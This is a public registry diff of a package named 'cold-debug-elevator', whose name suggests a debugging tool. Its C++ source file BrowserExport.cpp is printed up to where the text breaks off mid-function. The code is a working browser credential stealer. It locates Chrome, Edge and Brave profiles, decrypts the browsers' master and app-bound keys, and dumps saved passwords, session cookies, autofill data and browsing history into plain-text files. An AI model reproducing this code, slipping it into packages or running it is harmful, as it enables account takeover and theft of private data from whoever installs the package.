cold-debug-elevator 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +16 -0
- package/binding.gyp +40 -0
- package/index.js +7 -0
- package/package.json +13 -0
- package/src/BrowserExport.cpp +760 -0
- package/src/BrowserExport.hpp +22 -0
- package/src/DebugChromium.cpp +994 -0
- package/src/Utils.hpp +151 -0
- package/src/main.cpp +31 -0
|
@@ -0,0 +1,760 @@
|
|
|
1
|
+
#include "BrowserExport.hpp"
|
|
2
|
+
|
|
3
|
+
#include <windows.h>
|
|
4
|
+
#include <wincrypt.h>
|
|
5
|
+
#include <bcrypt.h>
|
|
6
|
+
#include <ShlObj.h>
|
|
7
|
+
#include <sqlite3.h>
|
|
8
|
+
#include <algorithm>
|
|
9
|
+
#include <ctime>
|
|
10
|
+
#include <fstream>
|
|
11
|
+
#include <iostream>
|
|
12
|
+
#include <optional>
|
|
13
|
+
#include <sstream>
|
|
14
|
+
#include <string>
|
|
15
|
+
#include <vector>
|
|
16
|
+
|
|
17
|
+
#pragma comment(lib, "bcrypt.lib")
|
|
18
|
+
#pragma comment(lib, "crypt32.lib")
|
|
19
|
+
#pragma comment(lib, "shell32.lib")
|
|
20
|
+
|
|
21
|
+
namespace {
|
|
22
|
+
|
|
23
|
+
constexpr size_t kAesKeySize = 32;
|
|
24
|
+
constexpr size_t kGcmNonceSize = 12;
|
|
25
|
+
constexpr size_t kGcmTagSize = 16;
|
|
26
|
+
constexpr size_t kCookiePlaintextSkip = 32;
|
|
27
|
+
|
|
28
|
+
struct BrowserTarget {
|
|
29
|
+
std::wstring folderName;
|
|
30
|
+
fs::path userDataPath;
|
|
31
|
+
};
|
|
32
|
+
|
|
33
|
+
std::optional<fs::path> GetLocalAppDataPath()
|
|
34
|
+
{
|
|
35
|
+
PWSTR localAppData = nullptr;
|
|
36
|
+
if (FAILED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, nullptr, &localAppData))) {
|
|
37
|
+
return std::nullopt;
|
|
38
|
+
}
|
|
39
|
+
fs::path result(localAppData);
|
|
40
|
+
CoTaskMemFree(localAppData);
|
|
41
|
+
return result;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
std::optional<BrowserTarget> ResolveBrowserTarget(const fs::path& browserExe)
|
|
45
|
+
{
|
|
46
|
+
const auto localAppData = GetLocalAppDataPath();
|
|
47
|
+
if (!localAppData.has_value()) {
|
|
48
|
+
return std::nullopt;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
const std::wstring exeName = browserExe.filename().wstring();
|
|
52
|
+
if (_wcsicmp(exeName.c_str(), L"chrome.exe") == 0) {
|
|
53
|
+
return BrowserTarget{ L"Chrome", *localAppData / L"Google" / L"Chrome" / L"User Data" };
|
|
54
|
+
}
|
|
55
|
+
if (_wcsicmp(exeName.c_str(), L"msedge.exe") == 0) {
|
|
56
|
+
return BrowserTarget{ L"Edge", *localAppData / L"Microsoft" / L"Edge" / L"User Data" };
|
|
57
|
+
}
|
|
58
|
+
if (_wcsicmp(exeName.c_str(), L"brave.exe") == 0) {
|
|
59
|
+
return BrowserTarget{ L"Brave", *localAppData / L"BraveSoftware" / L"Brave-Browser" / L"User Data" };
|
|
60
|
+
}
|
|
61
|
+
return std::nullopt;
|
|
62
|
+
}
|
|
63
|
+
|
|
64
|
+
bool IsProfileDirectoryName(const std::wstring& name)
|
|
65
|
+
{
|
|
66
|
+
return name == L"Default" || name.rfind(L"Profile ", 0) == 0;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
std::string ReadTextFile(const fs::path& path)
|
|
70
|
+
{
|
|
71
|
+
std::ifstream file(path, std::ios::binary);
|
|
72
|
+
if (!file) {
|
|
73
|
+
return {};
|
|
74
|
+
}
|
|
75
|
+
return std::string((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
std::optional<std::string> ExtractJsonStringField(const std::string& json, const std::string& field)
|
|
79
|
+
{
|
|
80
|
+
const std::string needle = "\"" + field + "\":\"";
|
|
81
|
+
const size_t start = json.find(needle);
|
|
82
|
+
if (start == std::string::npos) {
|
|
83
|
+
return std::nullopt;
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
const size_t valueStart = start + needle.size();
|
|
87
|
+
const size_t valueEnd = json.find('"', valueStart);
|
|
88
|
+
if (valueEnd == std::string::npos || valueEnd <= valueStart) {
|
|
89
|
+
return std::nullopt;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
return json.substr(valueStart, valueEnd - valueStart);
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
|
|
96
|
+
{
|
|
97
|
+
DWORD size = 0;
|
|
98
|
+
if (!CryptStringToBinaryA(
|
|
99
|
+
input.c_str(),
|
|
100
|
+
static_cast<DWORD>(input.size()),
|
|
101
|
+
CRYPT_STRING_BASE64,
|
|
102
|
+
nullptr,
|
|
103
|
+
&size,
|
|
104
|
+
nullptr,
|
|
105
|
+
nullptr)) {
|
|
106
|
+
return std::nullopt;
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
std::vector<uint8_t> output(size);
|
|
110
|
+
if (!CryptStringToBinaryA(
|
|
111
|
+
input.c_str(),
|
|
112
|
+
static_cast<DWORD>(input.size()),
|
|
113
|
+
CRYPT_STRING_BASE64,
|
|
114
|
+
output.data(),
|
|
115
|
+
&size,
|
|
116
|
+
nullptr,
|
|
117
|
+
nullptr)) {
|
|
118
|
+
return std::nullopt;
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
output.resize(size);
|
|
122
|
+
return output;
|
|
123
|
+
}
|
|
124
|
+
|
|
125
|
+
std::optional<std::vector<uint8_t>> DpapiDecrypt(const std::vector<uint8_t>& encrypted)
|
|
126
|
+
{
|
|
127
|
+
DATA_BLOB input{};
|
|
128
|
+
input.pbData = const_cast<BYTE*>(encrypted.data());
|
|
129
|
+
input.cbData = static_cast<DWORD>(encrypted.size());
|
|
130
|
+
|
|
131
|
+
DATA_BLOB output{};
|
|
132
|
+
if (!CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0, &output)) {
|
|
133
|
+
return std::nullopt;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
std::vector<uint8_t> decrypted(output.pbData, output.pbData + output.cbData);
|
|
137
|
+
LocalFree(output.pbData);
|
|
138
|
+
return decrypted;
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
std::optional<std::vector<uint8_t>> GetMasterKey(const fs::path& userDataPath)
|
|
142
|
+
{
|
|
143
|
+
const fs::path localStatePath = userDataPath / L"Local State";
|
|
144
|
+
const std::string localState = ReadTextFile(localStatePath);
|
|
145
|
+
if (localState.empty()) {
|
|
146
|
+
return std::nullopt;
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
const auto encryptedKeyB64 = ExtractJsonStringField(localState, "encrypted_key");
|
|
150
|
+
if (!encryptedKeyB64.has_value()) {
|
|
151
|
+
return std::nullopt;
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
const auto decoded = Base64Decode(*encryptedKeyB64);
|
|
155
|
+
if (!decoded.has_value() || decoded->size() <= 5) {
|
|
156
|
+
return std::nullopt;
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
if (decoded->at(0) != 'D' || decoded->at(1) != 'P' || decoded->at(2) != 'A' ||
|
|
160
|
+
decoded->at(3) != 'P' || decoded->at(4) != 'I') {
|
|
161
|
+
return std::nullopt;
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
return DpapiDecrypt(std::vector<uint8_t>(decoded->begin() + 5, decoded->end()));
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
std::optional<std::vector<uint8_t>> AesGcmDecrypt(
|
|
168
|
+
const std::vector<uint8_t>& key,
|
|
169
|
+
const uint8_t* nonce,
|
|
170
|
+
const uint8_t* ciphertext,
|
|
171
|
+
ULONG ciphertextSize,
|
|
172
|
+
const uint8_t* tag)
|
|
173
|
+
{
|
|
174
|
+
BCRYPT_ALG_HANDLE algorithm = nullptr;
|
|
175
|
+
BCRYPT_KEY_HANDLE keyHandle = nullptr;
|
|
176
|
+
std::vector<uint8_t> plaintext(ciphertextSize > 0 ? ciphertextSize : 1);
|
|
177
|
+
|
|
178
|
+
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&algorithm, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
|
|
179
|
+
return std::nullopt;
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
if (!BCRYPT_SUCCESS(BCryptSetProperty(
|
|
183
|
+
algorithm,
|
|
184
|
+
BCRYPT_CHAINING_MODE,
|
|
185
|
+
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
|
|
186
|
+
static_cast<ULONG>((wcslen(BCRYPT_CHAIN_MODE_GCM) + 1) * sizeof(wchar_t)),
|
|
187
|
+
0))) {
|
|
188
|
+
BCryptCloseAlgorithmProvider(algorithm, 0);
|
|
189
|
+
return std::nullopt;
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(
|
|
193
|
+
algorithm,
|
|
194
|
+
&keyHandle,
|
|
195
|
+
nullptr,
|
|
196
|
+
0,
|
|
197
|
+
const_cast<PUCHAR>(key.data()),
|
|
198
|
+
static_cast<ULONG>(key.size()),
|
|
199
|
+
0))) {
|
|
200
|
+
BCryptCloseAlgorithmProvider(algorithm, 0);
|
|
201
|
+
return std::nullopt;
|
|
202
|
+
}
|
|
203
|
+
|
|
204
|
+
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
|
|
205
|
+
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
|
|
206
|
+
authInfo.pbNonce = const_cast<PUCHAR>(nonce);
|
|
207
|
+
authInfo.cbNonce = kGcmNonceSize;
|
|
208
|
+
authInfo.pbTag = const_cast<PUCHAR>(tag);
|
|
209
|
+
authInfo.cbTag = kGcmTagSize;
|
|
210
|
+
|
|
211
|
+
ULONG bytesDone = 0;
|
|
212
|
+
const NTSTATUS status = BCryptDecrypt(
|
|
213
|
+
keyHandle,
|
|
214
|
+
const_cast<PUCHAR>(ciphertext),
|
|
215
|
+
ciphertextSize,
|
|
216
|
+
&authInfo,
|
|
217
|
+
nullptr,
|
|
218
|
+
0,
|
|
219
|
+
plaintext.data(),
|
|
220
|
+
static_cast<ULONG>(plaintext.size()),
|
|
221
|
+
&bytesDone,
|
|
222
|
+
0);
|
|
223
|
+
|
|
224
|
+
BCryptDestroyKey(keyHandle);
|
|
225
|
+
BCryptCloseAlgorithmProvider(algorithm, 0);
|
|
226
|
+
|
|
227
|
+
if (!BCRYPT_SUCCESS(status)) {
|
|
228
|
+
return std::nullopt;
|
|
229
|
+
}
|
|
230
|
+
|
|
231
|
+
plaintext.resize(bytesDone);
|
|
232
|
+
return plaintext;
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
std::optional<std::vector<uint8_t>> DecryptChromiumBlob(
|
|
236
|
+
const std::vector<uint8_t>& encrypted,
|
|
237
|
+
const std::vector<uint8_t>& masterKey,
|
|
238
|
+
const std::vector<uint8_t>& appBoundKey)
|
|
239
|
+
{
|
|
240
|
+
if (encrypted.size() < 3 + kGcmNonceSize + kGcmTagSize) {
|
|
241
|
+
return std::nullopt;
|
|
242
|
+
}
|
|
243
|
+
|
|
244
|
+
const std::string prefix(reinterpret_cast<const char*>(encrypted.data()), 3);
|
|
245
|
+
const uint8_t* nonce = encrypted.data() + 3;
|
|
246
|
+
const uint8_t* tag = encrypted.data() + encrypted.size() - kGcmTagSize;
|
|
247
|
+
const uint8_t* ciphertext = encrypted.data() + 3 + kGcmNonceSize;
|
|
248
|
+
const ULONG ciphertextSize = static_cast<ULONG>(encrypted.size() - 3 - kGcmNonceSize - kGcmTagSize);
|
|
249
|
+
|
|
250
|
+
const std::vector<uint8_t>* key = nullptr;
|
|
251
|
+
if (prefix == "v20") {
|
|
252
|
+
if (appBoundKey.size() != kAesKeySize) {
|
|
253
|
+
return std::nullopt;
|
|
254
|
+
}
|
|
255
|
+
key = &appBoundKey;
|
|
256
|
+
}
|
|
257
|
+
else if (prefix == "v10" || prefix == "v11") {
|
|
258
|
+
if (masterKey.size() != kAesKeySize) {
|
|
259
|
+
return std::nullopt;
|
|
260
|
+
}
|
|
261
|
+
key = &masterKey;
|
|
262
|
+
}
|
|
263
|
+
else {
|
|
264
|
+
return std::nullopt;
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
return AesGcmDecrypt(*key, nonce, ciphertext, ciphertextSize, tag);
|
|
268
|
+
}
|
|
269
|
+
|
|
270
|
+
std::optional<std::string> DecryptToString(
|
|
271
|
+
const std::vector<uint8_t>& encrypted,
|
|
272
|
+
const std::vector<uint8_t>& masterKey,
|
|
273
|
+
const std::vector<uint8_t>& appBoundKey,
|
|
274
|
+
bool stripCookiePrefix)
|
|
275
|
+
{
|
|
276
|
+
const auto decrypted = DecryptChromiumBlob(encrypted, masterKey, appBoundKey);
|
|
277
|
+
if (!decrypted.has_value() || decrypted->empty()) {
|
|
278
|
+
return std::nullopt;
|
|
279
|
+
}
|
|
280
|
+
|
|
281
|
+
size_t offset = 0;
|
|
282
|
+
if (stripCookiePrefix) {
|
|
283
|
+
if (decrypted->size() <= kCookiePlaintextSkip) {
|
|
284
|
+
return std::nullopt;
|
|
285
|
+
}
|
|
286
|
+
offset = kCookiePlaintextSkip;
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
return std::string(
|
|
290
|
+
reinterpret_cast<const char*>(decrypted->data() + offset),
|
|
291
|
+
decrypted->size() - offset
|
|
292
|
+
);
|
|
293
|
+
}
|
|
294
|
+
|
|
295
|
+
std::optional<fs::path> CopyDatabaseToTemp(const fs::path& sourcePath)
|
|
296
|
+
{
|
|
297
|
+
if (!fs::exists(sourcePath)) {
|
|
298
|
+
return std::nullopt;
|
|
299
|
+
}
|
|
300
|
+
|
|
301
|
+
const fs::path tempPath =
|
|
302
|
+
fs::temp_directory_path() /
|
|
303
|
+
(L"dbgch_" + std::to_wstring(GetTickCount64()) + L"_" + sourcePath.filename().wstring());
|
|
304
|
+
|
|
305
|
+
std::error_code ec;
|
|
306
|
+
fs::copy_file(sourcePath, tempPath, fs::copy_options::overwrite_existing, ec);
|
|
307
|
+
if (ec) {
|
|
308
|
+
return std::nullopt;
|
|
309
|
+
}
|
|
310
|
+
|
|
311
|
+
return tempPath;
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
int64_t ChromeTimeToUnix(int64_t chromeTime)
|
|
315
|
+
{
|
|
316
|
+
if (chromeTime <= 0) {
|
|
317
|
+
return 0;
|
|
318
|
+
}
|
|
319
|
+
return (chromeTime - 11644473600000000LL) / 1000000LL;
|
|
320
|
+
}
|
|
321
|
+
|
|
322
|
+
std::vector<uint8_t> ReadBlob(sqlite3_stmt* stmt, int column)
|
|
323
|
+
{
|
|
324
|
+
const void* blob = sqlite3_column_blob(stmt, column);
|
|
325
|
+
const int size = sqlite3_column_bytes(stmt, column);
|
|
326
|
+
if (!blob || size <= 0) {
|
|
327
|
+
return {};
|
|
328
|
+
}
|
|
329
|
+
const auto* bytes = static_cast<const uint8_t*>(blob);
|
|
330
|
+
return std::vector<uint8_t>(bytes, bytes + size);
|
|
331
|
+
}
|
|
332
|
+
|
|
333
|
+
bool WriteTextFile(const fs::path& path, const std::string& content)
|
|
334
|
+
{
|
|
335
|
+
if (content.empty()) {
|
|
336
|
+
return false;
|
|
337
|
+
}
|
|
338
|
+
|
|
339
|
+
std::ofstream file(path, std::ios::binary);
|
|
340
|
+
if (!file) {
|
|
341
|
+
return false;
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
file << content;
|
|
345
|
+
return true;
|
|
346
|
+
}
|
|
347
|
+
|
|
348
|
+
bool ExportCookiesForProfile(
|
|
349
|
+
const fs::path& profilePath,
|
|
350
|
+
const fs::path& outputProfilePath,
|
|
351
|
+
const std::vector<uint8_t>& masterKey,
|
|
352
|
+
const std::vector<uint8_t>& appBoundKey)
|
|
353
|
+
{
|
|
354
|
+
const fs::path cookiesDb = profilePath / L"Network" / L"Cookies";
|
|
355
|
+
const auto tempDb = CopyDatabaseToTemp(cookiesDb);
|
|
356
|
+
if (!tempDb.has_value()) {
|
|
357
|
+
return false;
|
|
358
|
+
}
|
|
359
|
+
|
|
360
|
+
sqlite3* db = nullptr;
|
|
361
|
+
if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
|
|
362
|
+
std::error_code ec;
|
|
363
|
+
fs::remove(*tempDb, ec);
|
|
364
|
+
return false;
|
|
365
|
+
}
|
|
366
|
+
|
|
367
|
+
const char* query =
|
|
368
|
+
"SELECT host_key, name, path, is_secure, expires_utc, is_httponly, encrypted_value FROM cookies";
|
|
369
|
+
|
|
370
|
+
sqlite3_stmt* stmt = nullptr;
|
|
371
|
+
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
|
|
372
|
+
sqlite3_close(db);
|
|
373
|
+
std::error_code ec;
|
|
374
|
+
fs::remove(*tempDb, ec);
|
|
375
|
+
return false;
|
|
376
|
+
}
|
|
377
|
+
|
|
378
|
+
std::ostringstream out;
|
|
379
|
+
out << "# Netscape HTTP Cookie File\n";
|
|
380
|
+
out << "# https://curl.se/docs/http-cookies.html\n";
|
|
381
|
+
out << "# Generated by DebugChromium\n\n";
|
|
382
|
+
|
|
383
|
+
int exported = 0;
|
|
384
|
+
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
|
385
|
+
const std::string host = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
386
|
+
const std::string name = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
|
|
387
|
+
const std::string cookiePath = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2));
|
|
388
|
+
const bool isSecure = sqlite3_column_int(stmt, 3) != 0;
|
|
389
|
+
const int64_t expires = ChromeTimeToUnix(sqlite3_column_int64(stmt, 4));
|
|
390
|
+
const bool includeSubdomains = !host.empty() && host.front() == '.';
|
|
391
|
+
|
|
392
|
+
const auto encrypted = ReadBlob(stmt, 6);
|
|
393
|
+
if (encrypted.empty()) {
|
|
394
|
+
continue;
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
const auto value = DecryptToString(encrypted, masterKey, appBoundKey, true);
|
|
398
|
+
if (!value.has_value()) {
|
|
399
|
+
continue;
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
out << host << '\t'
|
|
403
|
+
<< (includeSubdomains ? "TRUE" : "FALSE") << '\t'
|
|
404
|
+
<< cookiePath << '\t'
|
|
405
|
+
<< (isSecure ? "TRUE" : "FALSE") << '\t'
|
|
406
|
+
<< expires << '\t'
|
|
407
|
+
<< name << '\t'
|
|
408
|
+
<< *value << '\n';
|
|
409
|
+
++exported;
|
|
410
|
+
}
|
|
411
|
+
|
|
412
|
+
sqlite3_finalize(stmt);
|
|
413
|
+
sqlite3_close(db);
|
|
414
|
+
std::error_code ec;
|
|
415
|
+
fs::remove(*tempDb, ec);
|
|
416
|
+
|
|
417
|
+
if (exported == 0) {
|
|
418
|
+
return false;
|
|
419
|
+
}
|
|
420
|
+
|
|
421
|
+
return WriteTextFile(outputProfilePath / "cookies.txt", out.str());
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
bool ExportPasswordsForProfile(
|
|
425
|
+
const fs::path& profilePath,
|
|
426
|
+
const fs::path& outputProfilePath,
|
|
427
|
+
const std::vector<uint8_t>& masterKey,
|
|
428
|
+
const std::vector<uint8_t>& appBoundKey)
|
|
429
|
+
{
|
|
430
|
+
const fs::path loginDb = profilePath / L"Login Data";
|
|
431
|
+
const auto tempDb = CopyDatabaseToTemp(loginDb);
|
|
432
|
+
if (!tempDb.has_value()) {
|
|
433
|
+
return false;
|
|
434
|
+
}
|
|
435
|
+
|
|
436
|
+
sqlite3* db = nullptr;
|
|
437
|
+
if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
|
|
438
|
+
std::error_code ec;
|
|
439
|
+
fs::remove(*tempDb, ec);
|
|
440
|
+
return false;
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
const char* query =
|
|
444
|
+
"SELECT origin_url, username_value, password_value FROM logins";
|
|
445
|
+
|
|
446
|
+
sqlite3_stmt* stmt = nullptr;
|
|
447
|
+
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
|
|
448
|
+
sqlite3_close(db);
|
|
449
|
+
std::error_code ec;
|
|
450
|
+
fs::remove(*tempDb, ec);
|
|
451
|
+
return false;
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
std::ostringstream out;
|
|
455
|
+
int exported = 0;
|
|
456
|
+
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
|
457
|
+
const char* urlText = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
458
|
+
const char* usernameText = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
|
|
459
|
+
if (!urlText || !usernameText || !*usernameText) {
|
|
460
|
+
continue;
|
|
461
|
+
}
|
|
462
|
+
|
|
463
|
+
const auto encrypted = ReadBlob(stmt, 2);
|
|
464
|
+
if (encrypted.empty()) {
|
|
465
|
+
continue;
|
|
466
|
+
}
|
|
467
|
+
|
|
468
|
+
const auto password = DecryptToString(encrypted, masterKey, appBoundKey, false);
|
|
469
|
+
if (!password.has_value() || password->empty()) {
|
|
470
|
+
continue;
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
out << "==================================================\n";
|
|
474
|
+
out << "URL : " << urlText << '\n';
|
|
475
|
+
out << "Username : " << usernameText << '\n';
|
|
476
|
+
out << "Password : " << *password << '\n';
|
|
477
|
+
out << "==================================================\n\n";
|
|
478
|
+
++exported;
|
|
479
|
+
}
|
|
480
|
+
|
|
481
|
+
sqlite3_finalize(stmt);
|
|
482
|
+
sqlite3_close(db);
|
|
483
|
+
std::error_code ec;
|
|
484
|
+
fs::remove(*tempDb, ec);
|
|
485
|
+
|
|
486
|
+
if (exported == 0) {
|
|
487
|
+
return false;
|
|
488
|
+
}
|
|
489
|
+
|
|
490
|
+
return WriteTextFile(outputProfilePath / "passwords.txt", out.str());
|
|
491
|
+
}
|
|
492
|
+
|
|
493
|
+
std::string FormatUnixTime(int64_t unixTime)
|
|
494
|
+
{
|
|
495
|
+
if (unixTime <= 0) {
|
|
496
|
+
return "Unknown";
|
|
497
|
+
}
|
|
498
|
+
|
|
499
|
+
std::time_t timestamp = static_cast<std::time_t>(unixTime);
|
|
500
|
+
std::tm localTime{};
|
|
501
|
+
if (localtime_s(&localTime, ×tamp) != 0) {
|
|
502
|
+
return std::to_string(unixTime);
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
char buffer[64] = {};
|
|
506
|
+
if (std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &localTime) == 0) {
|
|
507
|
+
return std::to_string(unixTime);
|
|
508
|
+
}
|
|
509
|
+
|
|
510
|
+
return buffer;
|
|
511
|
+
}
|
|
512
|
+
|
|
513
|
+
bool ExportAutofillsForProfile(
|
|
514
|
+
const fs::path& profilePath,
|
|
515
|
+
const fs::path& outputProfilePath)
|
|
516
|
+
{
|
|
517
|
+
const fs::path webDataDb = profilePath / L"Web Data";
|
|
518
|
+
const auto tempDb = CopyDatabaseToTemp(webDataDb);
|
|
519
|
+
if (!tempDb.has_value()) {
|
|
520
|
+
return false;
|
|
521
|
+
}
|
|
522
|
+
|
|
523
|
+
sqlite3* db = nullptr;
|
|
524
|
+
if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
|
|
525
|
+
std::error_code ec;
|
|
526
|
+
fs::remove(*tempDb, ec);
|
|
527
|
+
return false;
|
|
528
|
+
}
|
|
529
|
+
|
|
530
|
+
const char* query =
|
|
531
|
+
"SELECT name, value FROM autofill "
|
|
532
|
+
"WHERE name IS NOT NULL AND value IS NOT NULL AND name != '' AND value != ''";
|
|
533
|
+
|
|
534
|
+
sqlite3_stmt* stmt = nullptr;
|
|
535
|
+
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
|
|
536
|
+
sqlite3_close(db);
|
|
537
|
+
std::error_code ec;
|
|
538
|
+
fs::remove(*tempDb, ec);
|
|
539
|
+
return false;
|
|
540
|
+
}
|
|
541
|
+
|
|
542
|
+
std::ostringstream out;
|
|
543
|
+
int exported = 0;
|
|
544
|
+
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
|
545
|
+
const char* name = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
546
|
+
const char* value = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
|
|
547
|
+
if (!name || !value) {
|
|
548
|
+
continue;
|
|
549
|
+
}
|
|
550
|
+
|
|
551
|
+
out << "Name: " << name << " | Value: " << value << '\n';
|
|
552
|
+
++exported;
|
|
553
|
+
}
|
|
554
|
+
|
|
555
|
+
sqlite3_finalize(stmt);
|
|
556
|
+
sqlite3_close(db);
|
|
557
|
+
std::error_code ec;
|
|
558
|
+
fs::remove(*tempDb, ec);
|
|
559
|
+
|
|
560
|
+
if (exported == 0) {
|
|
561
|
+
return false;
|
|
562
|
+
}
|
|
563
|
+
|
|
564
|
+
return WriteTextFile(outputProfilePath / "autofills.txt", out.str());
|
|
565
|
+
}
|
|
566
|
+
|
|
567
|
+
bool ExportHistoryForProfile(
|
|
568
|
+
const fs::path& profilePath,
|
|
569
|
+
const fs::path& outputProfilePath)
|
|
570
|
+
{
|
|
571
|
+
const fs::path historyDb = profilePath / L"History";
|
|
572
|
+
const auto tempDb = CopyDatabaseToTemp(historyDb);
|
|
573
|
+
if (!tempDb.has_value()) {
|
|
574
|
+
return false;
|
|
575
|
+
}
|
|
576
|
+
|
|
577
|
+
sqlite3* db = nullptr;
|
|
578
|
+
if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
|
|
579
|
+
std::error_code ec;
|
|
580
|
+
fs::remove(*tempDb, ec);
|
|
581
|
+
return false;
|
|
582
|
+
}
|
|
583
|
+
|
|
584
|
+
const char* query =
|
|
585
|
+
"SELECT url, title, visit_count, last_visit_time FROM urls "
|
|
586
|
+
"ORDER BY last_visit_time DESC";
|
|
587
|
+
|
|
588
|
+
sqlite3_stmt* stmt = nullptr;
|
|
589
|
+
if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
|
|
590
|
+
sqlite3_close(db);
|
|
591
|
+
std::error_code ec;
|
|
592
|
+
fs::remove(*tempDb, ec);
|
|
593
|
+
return false;
|
|
594
|
+
}
|
|
595
|
+
|
|
596
|
+
std::ostringstream out;
|
|
597
|
+
int exported = 0;
|
|
598
|
+
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
|
599
|
+
const char* url = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
|
600
|
+
if (!url || !*url) {
|
|
601
|
+
continue;
|
|
602
|
+
}
|
|
603
|
+
|
|
604
|
+
const char* title = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
|
|
605
|
+
const int visitCount = sqlite3_column_int(stmt, 2);
|
|
606
|
+
const int64_t lastVisit = ChromeTimeToUnix(sqlite3_column_int64(stmt, 3));
|
|
607
|
+
|
|
608
|
+
out << "==================================================\n";
|
|
609
|
+
out << "URL : " << url << '\n';
|
|
610
|
+
out << "Title : " << (title ? title : "") << '\n';
|
|
611
|
+
out << "Visits : " << visitCount << '\n';
|
|
612
|
+
out << "Last Visit : " << FormatUnixTime(lastVisit) << '\n';
|
|
613
|
+
out << "==================================================\n\n";
|
|
614
|
+
++exported;
|
|
615
|
+
}
|
|
616
|
+
|
|
617
|
+
sqlite3_finalize(stmt);
|
|
618
|
+
sqlite3_close(db);
|
|
619
|
+
std::error_code ec;
|
|
620
|
+
fs::remove(*tempDb, ec);
|
|
621
|
+
|
|
622
|
+
if (exported == 0) {
|
|
623
|
+
return false;
|
|
624
|
+
}
|
|
625
|
+
|
|
626
|
+
return WriteTextFile(outputProfilePath / "history.txt", out.str());
|
|
627
|
+
}
|
|
628
|
+
|
|
629
|
+
} // namespace
|
|
630
|
+
|
|
631
|
+
std::vector<BrowserInstall> FindInstalledChromiumBrowsers()
|
|
632
|
+
{
|
|
633
|
+
static const fs::path kKnownExePaths[] = {
|
|
634
|
+
fs::path(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"),
|
|
635
|
+
fs::path(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
|
|
636
|
+
fs::path(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"),
|
|
637
|
+
fs::path(L"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe"),
|
|
638
|
+
};
|
|
639
|
+
|
|
640
|
+
std::vector<BrowserInstall> installs;
|
|
641
|
+
for (const auto& exePath : kKnownExePaths) {
|
|
642
|
+
if (!fs::exists(exePath)) {
|
|
643
|
+
continue;
|
|
644
|
+
}
|
|
645
|
+
|
|
646
|
+
const auto target = ResolveBrowserTarget(exePath);
|
|
647
|
+
if (!target.has_value() || !fs::exists(target->userDataPath)) {
|
|
648
|
+
continue;
|
|
649
|
+
}
|
|
650
|
+
|
|
651
|
+
if (std::any_of(
|
|
652
|
+
installs.begin(),
|
|
653
|
+
